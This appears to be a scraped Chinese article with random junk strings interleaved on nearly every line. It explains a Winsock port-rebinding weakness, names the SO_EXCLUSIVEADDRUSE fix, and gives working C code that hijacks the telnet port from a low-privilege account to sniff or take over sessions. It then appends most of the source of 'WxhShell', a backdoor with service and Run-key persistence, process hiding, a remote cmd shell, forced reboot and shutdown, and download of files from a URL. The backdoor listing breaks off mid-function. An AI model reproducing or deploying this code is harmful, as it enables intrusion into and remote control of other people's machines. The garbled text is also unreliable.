在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2lDgvug s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
KW+ps16~ ?d-(M' v. saddr.sin_family = AF_INET;
dGAthbWJ l7Y^C1hM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5m&{f>]T v_J\yW'K bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
o^wj_#ai$ WZ&/l 65J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|j&u2DM~#m 'D#}ce)s# 这意味着什么?意味着可以进行如下的攻击:
7
a !b} PorBB7iL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&STgj|t_ O?L_9L* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'
jR8 3A* XA5gosq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
F'lG=c3N zkYlIUD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
g-U'{I5F 7Av/ZS 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
d i`}Y& =L{lt9qQz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_SjS^z~ ?|Fu^eR%X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N6=cqUM wt B 9KY$^J #include
5F+5J)h #include
q]=.Aik #include
Y=sRVypJ #include
Mii-Q`.: DWORD WINAPI ClientThread(LPVOID lpParam);
ndT:,"s int main()
6*cm {
/xJ,nwp7 WORD wVersionRequested;
d*khda;Vj DWORD ret;
z[b,:G WSADATA wsaData;
B++.tQ=X. BOOL val;
#s{>v$F SOCKADDR_IN saddr;
&<R8' SOCKADDR_IN scaddr;
8kXbyKX[b int err;
cv eTrY}g SOCKET s;
,WR$xi.j SOCKET sc;
qEX2K^y'4" int caddsize;
m>k
j @^SQ HANDLE mt;
l %=yT6 DWORD tid;
ePa:_?( wVersionRequested = MAKEWORD( 2, 2 );
CTp~bGIv!= err = WSAStartup( wVersionRequested, &wsaData );
N{46DS if ( err != 0 ) {
ag]b]K printf("error!WSAStartup failed!\n");
e]!Vxn3 return -1;
%h=)>5-T }
kXzm saddr.sin_family = AF_INET;
kV!0cLH!hH Nt,)5_K < //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
p/
pVMR M(HU^?B{' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
yBE1mA:x7: saddr.sin_port = htons(23);
f)H6 nl7r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~mOGNf?f {
ji?0;2Y printf("error!socket failed!\n");
-Cd4yWkO return -1;
8[Cp }
%/>\`d? val = TRUE;
+"Ih'bb`j //SO_REUSEADDR选项就是可以实现端口重绑定的
bITOA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#HWz.Wb {
R[LVx-e7' printf("error!setsockopt failed!\n");
%eGxQDIXg return -1;
0{F"b'h }
`I ,A7b //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O*d&H;; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~QFD ^SoK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
C$){H"# hhlQ!WV2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/|t
vGC.# {
BF<7.<, ret=GetLastError();
*yKsgH printf("error!bind failed!\n");
R?qV FMQ return -1;
0&=2+=[c }
>F8&wh'BjY listen(s,2);
_s><>LH~ while(1)
D@uw[;Xb5 {
`Gx"3ZUn caddsize = sizeof(scaddr);
j|FGb: //接受连接请求
Fkuq'C<|Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
D;Fvd: if(sc!=INVALID_SOCKET)
>9a%"<(2# {
V"%2T z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
I+D`\OSL if(mt==NULL)
KSIH1E {
s=(~/p#M printf("Thread Creat Failed!\n");
#i-!:6sLA break;
m?'5*\(ST }
bR?-B>EB }
Fe.Y4\xz CloseHandle(mt);
p|,K2^?Y }
auAST;"Z8 closesocket(s);
0(|R NV_ WSACleanup();
K~<pD:s return 0;
=x>z|1 }
1)?^N`xF DWORD WINAPI ClientThread(LPVOID lpParam)
{k1s@KXtd {
@I\Z2-J SOCKET ss = (SOCKET)lpParam;
jz't!wj SOCKET sc;
<Xm5re. unsigned char buf[4096];
&UP@Sr0D7 SOCKADDR_IN saddr;
,
M /-lW long num;
pWSYbN+d DWORD val;
8H./@~_ = DWORD ret;
Ox?LVRvxI //如果是隐藏端口应用的话,可以在此处加一些判断
E87/B%R //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6T< ~mn saddr.sin_family = AF_INET;
_Jk-nZgn saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
SOb17:o3| saddr.sin_port = htons(23);
$JqdI/s if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
PtO-%I<N {
G\Hck=P[$3 printf("error!socket failed!\n");
L'6_~I return -1;
TUJ]u2J8? }
7
tF1g=\ val = 100;
1]A%lud4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JnhHV(H {
$8_t.~q ret = GetLastError();
_E)xR return -1;
h?.6e9Y4 }
P0RMdf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[aO"9 {
Qo DWR5*^D ret = GetLastError();
?8-e@/E#x return -1;
KK(x)( }
:KgLjhj|) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
BS*cG>T {
dLD"Cx printf("error!socket connect failed!\n");
?Y
)Qy, closesocket(sc);
)7q;Fm_/ closesocket(ss);
PHDKx+$ return -1;
H4k`wWOk }
8 PXleAn while(1)
!aa^kcEjnL {
:J(a;/~ip //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4E4o=Z|K //如果是嗅探内容的话,可以再此处进行内容分析和记录
akm) X0!-} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
3tnYK& num = recv(ss,buf,4096,0);
Bf1GHnXv if(num>0)
5PKv@Mk send(sc,buf,num,0);
kC|tv{g#> else if(num==0)
|t]-a%A=w break;
.Yha(5( num = recv(sc,buf,4096,0);
Q;m
.m2 if(num>0)
' AeU send(ss,buf,num,0);
>P\Tnb"Q\ else if(num==0)
Lrq+0dI 65 break;
|+!Jr_ By }
y>~=o9J_u closesocket(ss);
p*Q"<@n closesocket(sc);
rRT9)wDa return 0 ;
JB+pd_>5 }
> %#J8 vm8QKPy 9!2KpuWji ==========================================================
w$Dp m.0(
(y~da~ 下边附上一个代码,,WXhSHELL
=C`v+NPM)| bXJ,L$q ==========================================================
JFYeOmR+l gl]{mUZz} #include "stdafx.h"
s4~c>voQB Kwh3SU=L} #include <stdio.h>
C,tlp #include <string.h>
Aba6/ #include <windows.h>
,wX/cUyZ
#include <winsock2.h>
O,^,G<` #include <winsvc.h>
Dm 'Q& #include <urlmon.h>
tp 5]n`3rD Em4TEv #pragma comment (lib, "Ws2_32.lib")
(B$2)yZY #pragma comment (lib, "urlmon.lib")
4+v~{ .YS[Md{
#define MAX_USER 100 // 最大客户端连接数
_9L2JN$R6 #define BUF_SOCK 200 // sock buffer
-MB,]m #define KEY_BUFF 255 // 输入 buffer
7F+f6(hB i}HF #define REBOOT 0 // 重启
l l&iMj] #define SHUTDOWN 1 // 关机
y99G 3t PicO3m #define DEF_PORT 5000 // 监听端口
l8^^ O u=ENf1{ $> #define REG_LEN 16 // 注册表键长度
L
Q;JtLu1 #define SVC_LEN 80 // NT服务名长度
#lJF$ anl?4q3;9 // 从dll定义API
\;P Bx & typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
T \0e8"iZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
DK4V/>@8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
(5Cm+Sy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
eQC`e#% kP[ Y // wxhshell配置信息
hKX-]+6" struct WSCFG {
?+5K2Zk int ws_port; // 监听端口
{BKI8vy char ws_passstr[REG_LEN]; // 口令
0'L+9T5 int ws_autoins; // 安装标记, 1=yes 0=no
\f char ws_regname[REG_LEN]; // 注册表键名
2OK%eVba char ws_svcname[REG_LEN]; // 服务名
u9VJ{F char ws_svcdisp[SVC_LEN]; // 服务显示名
I}?fy\1A& char ws_svcdesc[SVC_LEN]; // 服务描述信息
Cu/w><h) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1h)I&T"kZ int ws_downexe; // 下载执行标记, 1=yes 0=no
nnr(\r~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yYF80mnJz char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}1(F~6RH Dk[[f<H_{ };
>L=l{F6
p /u#uC(Uwl
// default Wxhshell configuration
BJ{mX>I( struct WSCFG wscfg={DEF_PORT,
#kV=;(lq "xuhuanlingzhe",
meIY00 1,
81aY*\ "Wxhshell",
HYpB]<F "Wxhshell",
501|Y6ptl "WxhShell Service",
[qid4S~r,& "Wrsky Windows CmdShell Service",
wAy;ZNu "Please Input Your Password: ",
4'_uN$${$ 1,
GS)l{bS#[O "
http://www.wrsky.com/wxhshell.exe",
v?Y9z!M "Wxhshell.exe"
4pA(.<#A };
[nflQW6 *a+~bX)18 // 消息定义模块
v( (fRX.` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>Wy@J]Y# char *msg_ws_prompt="\n\r? for help\n\r#>";
"-^TA_XfI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
8tPq5i char *msg_ws_ext="\n\rExit.";
#PtV=Ee1 char *msg_ws_end="\n\rQuit.";
+]*?J1Y8Z char *msg_ws_boot="\n\rReboot...";
wRU pQ~=B2 char *msg_ws_poff="\n\rShutdown...";
YMJjO0 char *msg_ws_down="\n\rSave to ";
WKmGw^ G~YV6?? char *msg_ws_err="\n\rErr!";
|QxDjL<&t4 char *msg_ws_ok="\n\rOK!";
,D~C40f )/f,.Z$ char ExeFile[MAX_PATH];
UyIjM;X int nUser = 0;
%.[GR HANDLE handles[MAX_USER];
ywCE2N<-V? int OsIsNt;
%'t~+_ 2rD`]neA SERVICE_STATUS serviceStatus;
*crpM3fO> SERVICE_STATUS_HANDLE hServiceStatusHandle;
PZH]9[H .$S`J2Y // 函数声明
5/Swn9vwl int Install(void);
N6yqA)z?; int Uninstall(void);
7kG>s9O int DownloadFile(char *sURL, SOCKET wsh);
-zMXc"'C^k int Boot(int flag);
t</Kel|D void HideProc(void);
B||^sRMX int GetOsVer(void);
}GQ8|fg`U int Wxhshell(SOCKET wsl);
j3z&0sc2(0 void TalkWithClient(void *cs);
E%jOJA int CmdShell(SOCKET sock);
b^^Cj( int StartFromService(void);
rN}{v}n int StartWxhshell(LPSTR lpCmdLine);
_<kE32Bb QT\S>} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0>Ecm# VOID WINAPI NTServiceHandler( DWORD fdwControl );
l0[jepmpiT +<@7x16 // 数据结构和表定义
JTl
37j SERVICE_TABLE_ENTRY DispatchTable[] =
Qe]@`Vg {
/gXli) {wscfg.ws_svcname, NTServiceMain},
wdoA>a?q {NULL, NULL}
)N`ia%p_] };
42tD$S5^ Y( D d7`c // 自我安装
rb&^ ei9B int Install(void)
\L6U}ZQ2V {
b"x;i\Z0% char svExeFile[MAX_PATH];
?nj _gL HKEY key;
6+m) strcpy(svExeFile,ExeFile);
0O"GI33Mg Yy>%dL // 如果是win9x系统,修改注册表设为自启动
EmG`ga)s if(!OsIsNt) {
Hfm4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E^#|1Kpq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NZ9`8&93 RegCloseKey(key);
,LWM}L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Joq9.%7Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9j$
OU@N
8 RegCloseKey(key);
bHWy9 - return 0;
?GB($D=Y'& }
@l>\vs< }
R 5bt~U }
6SlE>b9tA else {
B;hc|v{( = ?vk n // 如果是NT以上系统,安装为系统服务
9"_qa q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
N, ;'oL+ if (schSCManager!=0)
w0^( jMQe^ {
1}KNzMHk9 SC_HANDLE schService = CreateService
peR=J7 (
@Mt6O_V schSCManager,
wToz{!n wscfg.ws_svcname,
8X5;)h wscfg.ws_svcdisp,
c<DsCzX SERVICE_ALL_ACCESS,
yTkYPx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/M v\~vg$1 SERVICE_AUTO_START,
E'JVf%) SERVICE_ERROR_NORMAL,
3`IDm5 svExeFile,
mL18FR N NULL,
roj/GZAy" NULL,
v?fB:[dG
NULL,
P}DrUND NULL,
.y+>-[j?B NULL
A<y3Tc?Q );
>^D"% Oj y if (schService!=0)
8Tt2T}
Y {
iDp]lu CloseServiceHandle(schService);
}@SZ!-t%rD CloseServiceHandle(schSCManager);
V1xpJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
x #BUIi strcat(svExeFile,wscfg.ws_svcname);
(@uQ>dR: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ItC*[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
uC 5mxZ RegCloseKey(key);
ogip#$A}3 return 0;
Q%o }
q+WO nTS }
scJ`oc:<J CloseServiceHandle(schSCManager);
Rk2ZdNc\ }
j=PQoEtU'< }
f*2V ]bhzB return 1;
[-s0'z }
?u'JhZ @>(l}5U5 // 自我卸载
PrDvRWM int Uninstall(void)
isQ{Xt~K {
^p|@{4f] HKEY key;
i*9eU*i|H .7+_ubj&, if(!OsIsNt) {
,UH`l./3DX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eZI&d;i RegDeleteValue(key,wscfg.ws_regname);
frc>0\ RegCloseKey(key);
3L=vsvO4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+@usJkxul RegDeleteValue(key,wscfg.ws_regname);
NZi5rXN RegCloseKey(key);
m#grtmyMrI return 0;
m-*du( }
dH&N< }
76zi)f1f }
N@?Fpmu/k else {
sBZKf8 @/ DWm$:M4z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
YUM%3 if (schSCManager!=0)
~WR6rc {
c}g^wLa SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
KB*[b if (schService!=0)
]*[S#Jk {
)h2wwq0] if(DeleteService(schService)!=0) {
WASs'Gx CloseServiceHandle(schService);
JS!rZi CloseServiceHandle(schSCManager);
W O|2x0K return 0;
%$!}MxUM }
pYceMZ$ CloseServiceHandle(schService);
A5y?|q>5 }
2[qO;js CloseServiceHandle(schSCManager);
$N+a4 }
wKXKc\r }
5s;HF |2x ]*ZL>fuD| return 1;
42ttmN1F }
z)]_ (zZ^ nd'zO#"m? // 从指定url下载文件
JV(|7Sk int DownloadFile(char *sURL, SOCKET wsh)
|a3)U%rUEQ {
Y.[^3 HRESULT hr;
r,L#JR w#- char seps[]= "/";
FUvZMA$ char *token;
GT|=Apnwr% char *file;
MftX~+ char myURL[MAX_PATH];
1i$9x$4~E char myFILE[MAX_PATH];
qZ6P(5X najd~%?Rs strcpy(myURL,sURL);
v?-pAA)ht token=strtok(myURL,seps);
K$R1x1lc2 while(token!=NULL)
&]16Hb~ {
}yK_2zak5i file=token;
"_}Hzpy5k token=strtok(NULL,seps);
8e[kE>tS._ }
m9wV#Ldu b@/z^k{% GetCurrentDirectory(MAX_PATH,myFILE);
CmY'[ rI strcat(myFILE, "\\");
Gv?'R0s strcat(myFILE, file);
2oGl"3/p send(wsh,myFILE,strlen(myFILE),0);
f,)[f M4 send(wsh,"...",3,0);
>e>Q'g{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
a% Q.8 if(hr==S_OK)
]lXTIej`dy return 0;
Q<;f-9q@ else
{y`afuiB return 1;
~+q$TV uG${`4 }
Ae<v IgG@v9' // 系统电源模块
M})2y+ int Boot(int flag)
4%KNHeaN {
YaFQy0t%/5 HANDLE hToken;
])7t!< TOKEN_PRIVILEGES tkp;
5A>W;Q\4 NMJ230? if(OsIsNt) {
z<m,Xj4w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
T,TKt% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'2WYbcU tkp.PrivilegeCount = 1;
1WfN_JKB5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=L
7scv%i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ZgcA[P if(flag==REBOOT) {
38>8{Ma if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;k9s@e#a return 0;
Io|NL6[ }
Y(m/E.h.~ else {
Hd
U1gV> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ujXC#r& return 0;
$83TA><a }
cZe,l1$ }
l=Jbuc else {
r\F`xtR( if(flag==REBOOT) {
Gm}ecW if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
u%Hegqn return 0;
zRx-xWo }
0vqXLFf else {
)|x)KY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2ZNTj u7h return 0;
4l@*x^F }
d(jd{L4d }
/(bPc12 Sy6Y3 ~7 return 1;
~]*P/'-{# }
RCsQLKqF qSlC@@.> // win9x进程隐藏模块
5%mc| void HideProc(void)
/[#<@o {
n-be8p)- 4yV}4f$q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
JQP7>W if ( hKernel != NULL )
$z"3_4a {
6+b!|`?l+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
6D_3Hwrs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
g""1f%U_p FreeLibrary(hKernel);
\{ r%.G }
6J9^:gXW~ $vnshU8/v return;
(]n^_G#-$ }
tY-{uHW&h .E-)R // 获取操作系统版本
(, Il>cR4 int GetOsVer(void)
-/*-e
/+b {
I,OEor6%R( OSVERSIONINFO winfo;
81u}J9z; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
R#.FfWTZ GetVersionEx(&winfo);
n dgG1v% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
$TyV<
G return 1;
bnt>j0E else
{x{e?c! return 0;
~:~-AXaMT }
o(Yj[:+m {hr>m,O% // 客户端句柄模块
X-%XZDB6 int Wxhshell(SOCKET wsl)
48l!P(>?y {
A0Pg|M SOCKET wsh;
#q'J`BC struct sockaddr_in client;
MA0}BJoW DWORD myID;
!)~b Un ,)^4H>~V while(nUser<MAX_USER)
#/a>dK {
eT* )r~ int nSize=sizeof(client);
Goa0OC, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Qxr&zT7f if(wsh==INVALID_SOCKET) return 1;
q^NI mxUM&`[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
5xKo(XNp if(handles[nUser]==0)
jI:5[. Y closesocket(wsh);
&o@IMbJ8 else
Rg@W0Bc) nUser++;
3~v'Ev }
X/Umfci WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
l>p S23 `(NMHXgG+ return 0;
kH:! 7L_= }
$*a'[Qot# T v2d?y // 关闭 socket
gbF^m`A>%+ void CloseIt(SOCKET wsh)
pV`?=[h9 {
sswYwU closesocket(wsh);
[AgS@^"sf5 nUser--;
h^QicvZ ExitThread(0);
kex4U6&OQB }
B^Z %38o 6yZ!K // 客户端请求句柄
o9&&u1`M/ void TalkWithClient(void *cs)
5`] ;[M9 {
rm}OVL ]7 W! SOCKET wsh=(SOCKET)cs;
gG5@ KD6k char pwd[SVC_LEN];
VsLlPw{ char cmd[KEY_BUFF];
<i}lP/U char chr[1];
H$GJpXIb int i,j;
R Ptc \4 cO}`PD$i while (nUser < MAX_USER) {
aH@GhI^@ :v-&}? if(wscfg.ws_passstr) {
/q.iUwSK> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ks{y=@<, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E"8cB]`|8 //ZeroMemory(pwd,KEY_BUFF);
M3>c?,O)J i=0;
_; 7{1n while(i<SVC_LEN) {
@JFfyQ {- +-8S,Rg@ // 设置超时
A^\A^$|O6 fd_set FdRead;
~o"VZp struct timeval TimeOut;
kY e3A&J FD_ZERO(&FdRead);
(- ]A1WQ? FD_SET(wsh,&FdRead);
h?UUd\RU) TimeOut.tv_sec=8;
T&@xgj|!) TimeOut.tv_usec=0;
WKjE^u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
d5aG6/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Rn] `_[)*~ Na6z1&wS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<K6:" pwd
=chr[0]; iv3=J
if(chr[0]==0xd || chr[0]==0xa) { Rwu
y!F
pwd=0; }V@ *
:3w8
break; 1^F
!X=
} LI`L!6^l
i++; x}acxu 2H7
} u;-_%?
0f"9wPC
// 如果是非法用户,关闭 socket 99xs5!4s
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2QUZBrs s
} ui_nvD:
Q7<_>)e^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5X8GR5P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J`uO~W"
~3,>TV
while(1) { 6.uyY@Yx
PAYbsn
ZeroMemory(cmd,KEY_BUFF); D/& 8[Z/Cn
iR_j
h=2{
// 自动支持客户端 telnet标准 x:Mh&dq?
j=0; -o\o{?t,
while(j<KEY_BUFF) { l+%2kR
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 16;r+.FB'
cmd[j]=chr[0]; e7T}*Up
if(chr[0]==0xa || chr[0]==0xd) { +`y{r^xD
cmd[j]=0; ihv=y\Jt
break; l y!vbpE_
} ]VuB2L[D
j++; %Y0,ww2
} HNFG:t9
6bv~E.
// 下载文件 %s|`1`c
if(strstr(cmd,"http://")) { .?<M$38fv
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?vnO@Bb/a
if(DownloadFile(cmd,wsh)) ?p&CR[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]g/:l S4
else mgODJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !c 3c%=W
} 7yUtG^'b
else { U,;a+z4\
wW.V>$q
switch(cmd[0]) { 1=*QMEv1G
] 2Vu+AP
// 帮助 Z$a5vu*pg
case '?': { Z%rMX}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -^R6U~
break; f1Az|h
} fu=GgD*
// 安装 t> ~a/K"
case 'i': { 6\9
Zc-%
if(Install()) ,b b/
$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N9SC\
else 6}(;~/L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %a'Nf/9=:
break; <`PW4zSI
} }fS`jq;
// 卸载 Fl{@B*3@w
case 'r': { _S$SL%;\
if(Uninstall()) t\\oGH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )U2cS\k'7n
else Bv=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qru
iQ/t
break; %>)HAx `
} CXAW>VdK_
// 显示 wxhshell 所在路径 uPbGQ :%}
case 'p': { t9QnEP'
char svExeFile[MAX_PATH]; fV "gL(7
strcpy(svExeFile,"\n\r"); ' F,.y6QU
strcat(svExeFile,ExeFile); Zk={3Y
send(wsh,svExeFile,strlen(svExeFile),0); ekR/X
break; r bfIH":
} cs-wqxTX[$
// 重启 ?W27
h
case 'b': { /s/\5-U7q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zUQn*Cio e
if(Boot(REBOOT)) iNlY\67sW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#i*'.
else { ZyJ-}[z
closesocket(wsh); B(eC|:w[z
ExitThread(0); dcn/|"jr
} Ifx
EM
break; t.s;dlx[@
}
*v}3So
// 关机 oe4r_EkYwW
case 'd': { QEC4!$L^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S;I>W&U
if(Boot(SHUTDOWN)) -ff@W m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ><HHO
(74X
else { T4c]VWtD
closesocket(wsh); +46m~" ]
ExitThread(0); F%-KY$%
} iXgy/>qgT
break; e`7dRnx&0
} *WQl#JAr
// 获取shell K/;*.u`:
case 's': { MEI.wJZ
CmdShell(wsh); ,UveH` n-
closesocket(wsh); aAi"
ExitThread(0); U+4W9zhwo
break; M^6!{c=MIi
} C/JFb zVx
// 退出 ~d9@m#_T#~
case 'x': { 9kO}054
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #~JR_oQE!
CloseIt(wsh); ^&|KuI+u
break; c %f'rj
} v PJ=~*P=
// 离开 1y{@fg~..
case 'q': { y@'~fI!E4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,,Ia 4c
closesocket(wsh); bT8 ?(Iu
WSACleanup(); V,?BVt
exit(1); aCZ7G
%Y
break; ( +x!wX( x
} (p1}i::Y8
} b\.l!v n0
} 8o7%qWX
3
{OZdl|
// 提示信息 !iHJ!
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dBeZx1Dy
} QqdVN3#1z
} y88lkV4a
DxvD 1u
return; c`M
,KXott
} k3-7Vyg
.~C[D
T+,
// shell模块句柄 nuucYm%IF-
int CmdShell(SOCKET sock) 'VQ
mK#
{ 0{k*SCN#
STARTUPINFO si; 4f-I,)qCBk
ZeroMemory(&si,sizeof(si)); OBp&64
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *S?vw'n
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; abczW[\
PROCESS_INFORMATION ProcessInfo; m`lxQik
char cmdline[]="cmd"; :dML+R#Ymh
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LEgx"H=c
return 0; na0-v-
} pN-c9n4#j
x#hGJT
// 自身启动模式 dFw>SYrpu
int StartFromService(void) q)F@f /
{ xU(yc}vw,
typedef struct %AV[vr,
{ ;#+Se,)
DWORD ExitStatus; {[tx^b
